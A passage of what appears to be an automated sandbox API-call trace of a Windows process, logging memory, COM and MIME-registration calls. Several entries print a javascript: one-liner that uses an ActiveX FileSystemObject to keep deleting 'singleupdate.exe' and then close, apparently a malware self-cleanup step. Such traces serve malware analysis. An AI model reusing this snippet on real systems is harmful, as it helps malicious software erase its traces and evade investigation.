returned 0x74f9a730 [0239.535] GetProcAddress (hModule=0x74ea0000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7500d8e0 [0239.536] ResolveDelayLoadedAPI () returned 0x75bd3cc0 [0239.537] SafeArrayCopy (in: psa=0x0, ppsaOut=0x668002c | out: ppsaOut=0x668002c) returned 0x0 [0239.537] malloc (_Size=0xdc) returned 0x58d9770 [0239.537] malloc (_Size=0xf8) returned 0x58d9858 [0239.537] malloc (_Size=0xc) returned 0xd9b118 [0239.538] GetCurrentThreadId () returned 0xe0 [0239.538] malloc (_Size=0x10) returned 0xd9b100 [0239.538] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0xcff530, nSize=0x27 | out: lpBuffer="") returned 0x0 [0239.538] GetCurrentThreadId () returned 0xe0 [0239.538] GetCurrentThreadId () returned 0xe0 [0239.538] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcff328 | out: ppu=0xcff328) returned 0x0 [0239.538] SysStringLen (param_1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x91 [0239.538] GetCurrentThreadId () returned 0xe0 [0239.538] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0239.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x1004, lpLCData=0xcff5d4, cchData=6 | out: lpLCData="1252") returned 5 [0239.538] IsValidCodePage (CodePage=0x4e4) returned 1 [0239.539] GetCurrentThreadId () returned 0xe0 [0239.539] GetCurrentThreadId () returned 0xe0 [0239.539] QueryProtectedPolicy (in: PolicyGuid=0x7164cb14, PolicyValue=0xcff604 | out: PolicyValue=0xcff604) returned 0 [0239.539] GetCurrentThreadId () returned 0xe0 [0239.539] malloc (_Size=0x2c) returned 0x58c8378 [0239.539] GetCurrentThreadId () returned 0xe0 [0239.539] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0239.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xa96f5f3a, dwHighDateTime=0x1d4f110)) [0239.539] GetTickCount () returned 0x3b47c [0239.539] malloc (_Size=0x184) returned 0x58d9958 [0239.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xa96f5f3a, dwHighDateTime=0x1d4f110)) [0239.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xa96f5f3a, dwHighDateTime=0x1d4f110)) [0239.540] GetTickCount () returned 0x3b47c [0239.540] malloc (_Size=0x30) returned 0x58c8340 [0239.540] malloc (_Size=0xa0) returned 0x58d9ae8 [0239.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xa96f5f3a, dwHighDateTime=0x1d4f110)) [0239.541] CoCreateInstance (in: rclsid=0x7287d15c*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7287c964*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppv=0xcff62c | out: ppv=0xcff62c*=0x58d9bd8) returned 0x0 [0239.542] DllGetClassObject (in: rclsid=0xfe621c*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe6c4 | out: ppv=0xcfe6c4*=0x58d9b90) returned 0x0 [0239.542] NdrDllGetClassObject (in: rclsid=0xfe621c*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe6c4, pProxyFileList=0x71622464, pclsid=0x7164c664*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x71961e08 | out: ppv=0xcfe6c4*=0x0) returned 0x80040111 [0239.542] malloc (_Size=0x34) returned 0x58d9b90 [0239.542] IClassFactory:CreateInstance (in: This=0x58d9b90, pUnkOuter=0x0, riid=0xcff134*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0xcfe6ac | out: ppvObject=0xcfe6ac*=0x58d9bd8) returned 0x0 [0239.542] malloc (_Size=0x5c) returned 0x58d9bd0 [0239.542] GetCurrentThreadId () returned 0xe0 [0239.542] IUnknown:AddRef (This=0x58d9bd8) returned 0x2 [0239.543] IUnknown:Release (This=0x58d9bd8) returned 0x1 [0239.543] IUnknown:Release (This=0x58d9b90) returned 0x0 [0239.543] free (_Block=0x58d9b90) [0239.543] IUnknown:QueryInterface (in: This=0x58d9bd8, riid=0x7287c964*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0xcff5dc | out: ppvObject=0xcff5dc*=0x58d9bd8) returned 0x0 [0239.543] IUnknown:Release (This=0x58d9bd8) returned 0x1 [0239.543] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0x100f218 [0239.543] GetCurrentThreadId () returned 0xe0 [0239.543] GetCurrentThreadId () returned 0xe0 [0239.543] malloc (_Size=0x84) returned 0x58d9c38 [0239.543] malloc (_Size=0x193) returned 0x58d9cc8 [0239.544] malloc (_Size=0x90) returned 0x58d9e68 [0239.544] malloc (_Size=0x22c) returned 0x58d9f00 [0239.544] malloc (_Size=0x804) returned 0x58da138 [0239.544] malloc (_Size=0x19c) returned 0x58da948 [0239.545] free (_Block=0x58da948) [0239.545] malloc (_Size=0x94) returned 0x58da948 [0239.545] malloc (_Size=0xa4) returned 0x58da9e8 [0239.546] malloc (_Size=0xc) returned 0x58dab10 [0239.546] malloc (_Size=0xc) returned 0x58dac60 [0239.546] malloc (_Size=0x10) returned 0x58dacd8 [0239.546] malloc (_Size=0x30) returned 0x58c81f0 [0239.547] malloc (_Size=0xc) returned 0x58dac00 [0239.547] malloc (_Size=0xc) returned 0x58daba0 [0239.547] malloc (_Size=0x10) returned 0x58dad80 [0239.547] malloc (_Size=0x30) returned 0x58c8260 [0239.547] free (_Block=0x58da138) [0239.547] free (_Block=0x58d9f00) [0239.547] malloc (_Size=0x20) returned 0x58d9b90 [0239.547] malloc (_Size=0xc) returned 0x58dad98 [0239.547] free (_Block=0x58d9cc8) [0239.547] malloc (_Size=0x18) returned 0xd9c6f8 [0239.547] malloc (_Size=0xc) returned 0x58daae0 [0239.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xa96f5f3a, dwHighDateTime=0x1d4f110)) [0239.548] GetTickCount () returned 0x3b47c [0239.548] GetCurrentThreadId () returned 0xe0 [0239.548] GetTickCount () returned 0x3b47c [0239.548] GetTickCount () returned 0x3b47c [0239.548] malloc (_Size=0x30) returned 0x58c8308 [0239.548] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x67f0000 [0239.548] VirtualQuery (in: lpAddress=0x67f0000, lpBuffer=0xcff2f0, dwLength=0x1c | out: lpBuffer=0xcff2f0*(BaseAddress=0x67f0000, AllocationBase=0x67f0000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0239.549] VirtualProtect (in: lpAddress=0x67f0000, dwSize=0x1000, flNewProtect=0x10, lpflOldProtect=0xcff30c | out: lpflOldProtect=0xcff30c*=0x4) returned 1 [0239.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x67f0000, dwSize=0x1000) returned 1 [0239.591] QueryProtectedPolicy (in: PolicyGuid=0x7164cb14, PolicyValue=0xcfec38 | out: PolicyValue=0xcfec38) returned 0 [0239.591] ResolveDelayLoadedAPI () returned 0x75d55cf0 [0239.591] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0xcfef74 | out: lpclsid=0xcfef74*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0239.593] QueryProtectedPolicy (in: PolicyGuid=0x7164cb14, PolicyValue=0xcfec54 | out: PolicyValue=0xcfec54) returned 0 [0239.593] QueryProtectedPolicy (in: PolicyGuid=0x7164cb14, PolicyValue=0xcfec30 | out: PolicyValue=0xcfec30) returned 0 [0239.593] ResolveDelayLoadedAPI () returned 0x75cc4f90 [0239.593] CoGetClassObject (in: rclsid=0xcfef74*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x5, pvReserved=0x0, riid=0x7164c7d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfef6c | out: ppv=0xcfef6c*=0xd9c7d8) returned 0x0 [0241.283] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7d8, riid=0x7164cae4*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0xcfef68 | out: ppvObject=0xcfef68*=0x0) returned 0x80004002 [0241.284] FileSystemObject:IClassFactory:CreateInstance (in: This=0xd9c7d8, pUnkOuter=0x0, riid=0x7164c614*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcfefc4 | out: ppvObject=0xcfefc4*=0xd9c7b8) returned 0x0 [0241.284] FileSystemObject:IUnknown:Release (This=0xd9c7d8) returned 0x0 [0241.284] QueryProtectedPolicy (in: PolicyGuid=0x7164cb14, PolicyValue=0xcfebf0 | out: PolicyValue=0xcfebf0) returned 0 [0241.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164cba8*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0xcfef6c | out: ppvObject=0xcfef6c*=0x0) returned 0x80004002 [0241.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164c634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcfef64 | out: ppvObject=0xcfef64*=0xd9c7b8) returned 0x0 [0241.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164d9a4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0xcfef14 | out: ppvObject=0xcfef14*=0x0) returned 0x80004002 [0241.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164daa0*(Data1=0x626fc520, Data2=0xa41e, Data3=0x11cf, Data4=([0]=0xa7, [1]=0x31, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x8, [6]=0x26, [7]=0x37)), ppvObject=0xcfeef4 | out: ppvObject=0xcfeef4*=0x0) returned 0x80004002 [0241.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164da90*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0xcfeefc | out: ppvObject=0xcfeefc*=0x0) returned 0x80004002 [0241.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164c624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x66800f0 | out: ppvObject=0x66800f0*=0x0) returned 0x80004002 [0241.284] FileSystemObject:IUnknown:AddRef (This=0xd9c7b8) returned 0x3 [0241.284] FileSystemObject:IUnknown:Release (This=0xd9c7b8) returned 0x2 [0241.285] FileSystemObject:IUnknown:Release (This=0xd9c7b8) returned 0x1 [0241.285] malloc (_Size=0xc) returned 0x58dab28 [0241.285] GetTickCount () returned 0x3bb42 [0241.285] GetCurrentThreadId () returned 0xe0 [0241.285] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.285] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.286] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.286] IsCharSpaceW (wch=0x6f) returned 0 [0241.286] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.286] IsCharSpaceW (wch=0x6f) returned 0 [0241.286] GetTickCount () returned 0x3bb42 [0241.286] GetCurrentThreadId () returned 0xe0 [0241.286] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.286] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.286] RtlInterlockedPopEntrySList (in: ListHead=0x4d60958 | out: ListHead=0x4d60958) returned 0x0 [0241.287] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x78) returned 0x4d6ef60 [0241.287] rand_s (in: _RandomValue=0xcfeb24 | out: _RandomValue=0xcfeb24) returned 0x0 [0241.287] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x202000, flProtect=0x4) returned 0x6830000 [0241.287] VirtualAlloc (lpAddress=0x6830000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6830000 [0241.287] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x84) returned 0x4d73eb0 [0241.287] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x2600) returned 0x4d73f40 [0241.288] malloc (_Size=0x28) returned 0x58daea0 [0241.288] GetCurrentThreadId () returned 0xe0 [0241.288] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.288] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0241.289] QueryPerformanceCounter (in: lpPerformanceCount=0xcfeba0 | out: lpPerformanceCount=0xcfeba0*=24459156144) returned 1 [0241.289] QueryPerformanceCounter (in: lpPerformanceCount=0xcfeb14 | out: lpPerformanceCount=0xcfeb14*=24459164713) returned 1 [0241.289] QueryPerformanceCounter (in: lpPerformanceCount=0xcfeb08 | out: lpPerformanceCount=0xcfeb08*=24459170304) returned 1 [0241.289] LoadLibraryExW (lpLibFileName="api-ms-win-core-winrt-l1-1-0.dll", hFile=0x0, dwFlags=0x800) returned 0x75c50000 [0241.289] LoadLibraryExW (lpLibFileName="api-ms-win-core-winrt-string-l1-1-0.dll", hFile=0x0, dwFlags=0x800) returned 0x75c50000 [0241.290] GetProcAddress (hModule=0x75c50000, lpProcName="WindowsCreateStringReference") returned 0x75d0a150 [0241.290] WindowsCreateStringReference () returned 0x0 [0241.290] WindowsCreateStringReference () returned 0x0 [0241.290] GetProcAddress (hModule=0x75c50000, lpProcName="RoGetActivationFactory") returned 0x75d00fa0 [0241.291] RoGetActivationFactory () returned 0x0 [0241.291] QueryInterface () returned 0x0 [0241.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceOperationCreation () returned 0x0 [0241.292] GetCurrentThreadId () returned 0xe0 [0241.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xaa7b0a94, dwHighDateTime=0x1d4f110)) [0241.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xaa7b0a94, dwHighDateTime=0x1d4f110)) [0241.292] GetTickCount () returned 0x3bb52 [0241.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xaa7b0a94, dwHighDateTime=0x1d4f110)) [0241.292] free (_Block=0x58d9b90) [0241.292] free (_Block=0x58daea0) [0241.292] GetTickCount () returned 0x3bb52 [0241.292] GetTickCount () returned 0x3bb52 [0241.292] GetCurrentThreadId () returned 0xe0 [0241.292] GetCurrentThreadId () returned 0xe0 [0241.362] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x8) returned 0x1004050 [0241.362] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x4) returned 0x1003f30 [0241.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0241.362] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x3) returned 0x1004060 [0241.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=-1, lpMultiByteStr=0x1004060, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1", lpUsedDefaultChar=0x0) returned 2 [0241.362] GetProcessHeap () returned 0xfb0000 [0241.362] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x2) returned 0x10040d0 [0241.362] memcpy_s (in: _Destination=0x10040d0, _DestinationSize=0x2, _Source=0x1004060, _SourceSize=0x2 | out: _Destination=0x10040d0) returned 0x0 [0241.362] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1003f30 | out: hHeap=0xfb0000) returned 1 [0241.362] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1004060 | out: hHeap=0xfb0000) returned 1 [0241.362] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014c58 | out: hHeap=0xfb0000) returned 1 [0241.362] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1004050 | out: hHeap=0xfb0000) returned 1 [0241.464] IInternetProtocol:Read (in: This=0x4c6c0cc, pv=0xfe9170, cb=0x800, pcbRead=0xcff5a0 | out: pv=0xfe9170, pcbRead=0xcff5a0*=0x2) returned 0x0 [0241.464] memcpy_s (in: _Destination=0xfe9170, _DestinationSize=0x2, _Source=0x10040d0, _SourceSize=0x2 | out: _Destination=0xfe9170) returned 0x0 [0241.464] IInternetProtocol:Read (in: This=0x4c6c0cc, pv=0xfe9172, cb=0x7fe, pcbRead=0xcff5a0 | out: pv=0xfe9172, pcbRead=0xcff5a0*=0x0) returned 0x1 [0241.466] IBindStatusCallback:OnProgress (This=0xfe8ca0, ulProgress=0x0, ulProgressMax=0x0, ulStatusCode=0xd, szStatusText="text/html") returned 0x0 [0241.466] RegisterClipboardFormatW (lpszFormat="text/html") returned 0xc105 [0241.466] RegisterClipboardFormatW (lpszFormat="text/plain") returned 0xc106 [0241.466] RegisterClipboardFormatW (lpszFormat="text/xml") returned 0xc12a [0241.466] RegisterClipboardFormatW (lpszFormat="application/xml") returned 0xc12b [0241.466] RegisterClipboardFormatW (lpszFormat="application/xhtml+xml") returned 0xc12c [0241.466] RegisterClipboardFormatW (lpszFormat="text/x-component") returned 0xc16e [0241.466] RegisterClipboardFormatW (lpszFormat="image/svg+xml") returned 0xc12d [0241.466] RegisterClipboardFormatW (lpszFormat="video/avi") returned 0xc11e [0241.466] RegisterClipboardFormatW (lpszFormat="video/x-msvideo") returned 0xc11f [0241.467] RegisterClipboardFormatW (lpszFormat="video/mpeg") returned 0xc120 [0241.467] RegisterClipboardFormatW (lpszFormat="video/quicktime") returned 0xc16f [0241.467] RegisterClipboardFormatW (lpszFormat="application/hta") returned 0xc170 [0241.467] RegisterClipboardFormatW (lpszFormat="text/cache-manifest") returned 0xc171 [0241.467] RegisterClipboardFormatW (lpszFormat="text/vtt") returned 0xc172 [0241.467] RegisterClipboardFormatW (lpszFormat="application/ttml+xml") returned 0xc173 [0241.467] RegisterClipboardFormatW (lpszFormat="application/ttaf+xml") returned 0xc174 [0241.467] RegisterClipboardFormatW (lpszFormat="text/json") returned 0xc175 [0241.467] RegisterClipboardFormatW (lpszFormat="application/x-javascript") returned 0xc176 [0241.467] RegisterClipboardFormatW (lpszFormat="image/x-png") returned 0xc115 [0241.467] RegisterClipboardFormatW (lpszFormat="image/png") returned 0xc116 [0241.467] RegisterClipboardFormatW (lpszFormat="image/jpeg") returned 0xc112 [0241.467] RegisterClipboardFormatW (lpszFormat="image/pjpeg") returned 0xc111 [0241.467] RegisterClipboardFormatW (lpszFormat="image/gif") returned 0xc110 [0241.467] RegisterClipboardFormatW (lpszFormat="image/vnd.ms-dds") returned 0xc177 [0241.467] RegisterClipboardFormatW (lpszFormat="image/svg+xml") returned 0xc12d [0241.467] RegisterClipboardFormatW (lpszFormat="image/tiff") returned 0xc114 [0241.467] RegisterClipboardFormatW (lpszFormat="image/bmp") returned 0xc117 [0241.467] RegisterClipboardFormatW (lpszFormat="image/vnd.ms-photo") returned 0xc11c [0241.467] RegisterClipboardFormatW (lpszFormat="image/x-wmf") returned 0xc11a [0241.467] RegisterClipboardFormatW (lpszFormat="image/x-emf") returned 0xc119 [0241.467] RegisterClipboardFormatW (lpszFormat="image/x-icon") returned 0xc11b [0241.468] GetTickCount () returned 0x3bbfe [0241.468] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.WINSOCK_ACTIVITY") returned 0xc0fc [0241.468] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.SET_CONNECTOID_NAME") returned 0xc0fd [0241.468] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.IEXPLORER_EXITING") returned 0xc0fe [0241.468] FindWindowW (lpClassName="MS_AutodialMonitor", lpWindowName=0x0) returned 0x0 [0241.468] FindWindowW (lpClassName="MS_WebCheckMonitor", lpWindowName=0x0) returned 0x2002a [0241.468] PostMessageW (hWnd=0x2002a, Msg=0xc0fc, wParam=0x0, lParam=0x0) returned 1 [0241.468] IBindCtx:GetObjectParam (in: This=0xfe6478, pszKey="__DWNBINDINFO", ppunk=0xcff428 | out: ppunk=0xcff428*=0x0) returned 0x80004005 [0241.468] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0x100f278 [0241.468] StrChrW (lpStart="text/html", wMatch=0x3b) returned 0x0 [0241.468] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0 [0241.468] IInternetProtocol:Read (in: This=0x4c6c0cc, pv=0xfea6aa, cb=0x1ffe, pcbRead=0xcff67c | out: pv=0xfea6aa, pcbRead=0xcff67c*=0x0) returned 0x1 [0241.468] IBindStatusCallback:OnProgress (This=0xfe8ca0, ulProgress=0x2, ulProgressMax=0x2, ulStatusCode=0x4, szStatusText="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0241.469] QueryPerformanceCounter (in: lpPerformanceCount=0xcff5d0 | out: lpPerformanceCount=0xcff5d0*=24477116835) returned 1 [0241.469] QueryPerformanceCounter (in: lpPerformanceCount=0xcff598 | out: lpPerformanceCount=0xcff598*=24477124268) returned 1 [0241.469] GetTickCount () returned 0x3bbfe [0241.469] GetCurrentThreadId () returned 0xe0 [0241.469] memcpy_s (in: _Destination=0xcff59c, _DestinationSize=0xc, _Source=0x4c50ce0, _SourceSize=0xc | out: _Destination=0xcff59c) returned 0x0 [0241.469] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x124) returned 0xfe7b48 [0241.469] MulDiv (nNumber=2, nNumerator=4000, nDenominator=2) returned 4000 [0241.469] GetCurrentThreadId () returned 0xe0 [0241.469] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7286ca54*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcff57c | out: ppvObject=0xcff57c*=0x0) returned 0x80004002 [0241.469] IBindStatusCallback:OnProgress (This=0xfe8ca0, ulProgress=0x2, ulProgressMax=0x2, ulStatusCode=0x6, szStatusText="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0241.469] QueryPerformanceCounter (in: lpPerformanceCount=0xcff5f8 | out: lpPerformanceCount=0xcff5f8*=24477213923) returned 1 [0241.470] GetTickCount () returned 0x3bbfe [0241.470] GetCurrentThreadId () returned 0xe0 [0241.470] memcpy_s (in: _Destination=0xcff5c4, _DestinationSize=0xc, _Source=0x4c50ce0, _SourceSize=0xc | out: _Destination=0xcff5c4) returned 0x0 [0241.470] GetCurrentThreadId () returned 0xe0 [0241.470] IInternetProtocol:LockRequest (This=0x4c6c0cc, dwOptions=0x0) returned 0x0 [0241.470] IBindStatusCallback:RemoteOnDataAvailable (This=0xfe8ca0, grfBSCF=0x5, dwSize=0x2, pformatetc=0xfe8ce0, pstgmed=0x1017ea8) returned 0x0 [0241.470] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0xcff154, dwReserved=0x0 | out: ppSM=0xcff154*=0xfd0230) returned 0x0 [0241.470] IUnknown:QueryInterface (in: This=0xfd0230, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xcff15c | out: ppvObject=0xcff15c*=0xfd0230) returned 0x0 [0241.471] IUnknown:Release (This=0xfd0230) returned 0x1 [0241.471] IUnknown:Release (This=0xfd0230) returned 0x0 [0241.471] ReleaseBindInfo (pbindinfo=0xcff5cc) [0241.471] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7286d4b0*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfd994 | out: ppvObject=0xcfd994*=0x0) returned 0x80004002 [0241.471] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7286d4d8*(Data1=0x79eac9d6, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfd994 | out: ppvObject=0xcfd994*=0x0) returned 0x80004002 [0241.471] GetCurrentThreadId () returned 0xe0 [0241.472] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0x100f498 [0241.472] IUnknown:QueryInterface (in: This=0x4c6c0cc, riid=0x7410a8c4*(Data1=0xf3d8f080, Data2=0xa5eb, Data3=0x476f, Data4=([0]=0x9d, [1]=0x19, [2]=0xa5, [3]=0xef, [4]=0x24, [5]=0xe5, [6]=0xc2, [7]=0xe6)), ppvObject=0xcfd8cc | out: ppvObject=0xcfd8cc*=0x0) returned 0x80004002 [0241.472] IUnknown:QueryInterface 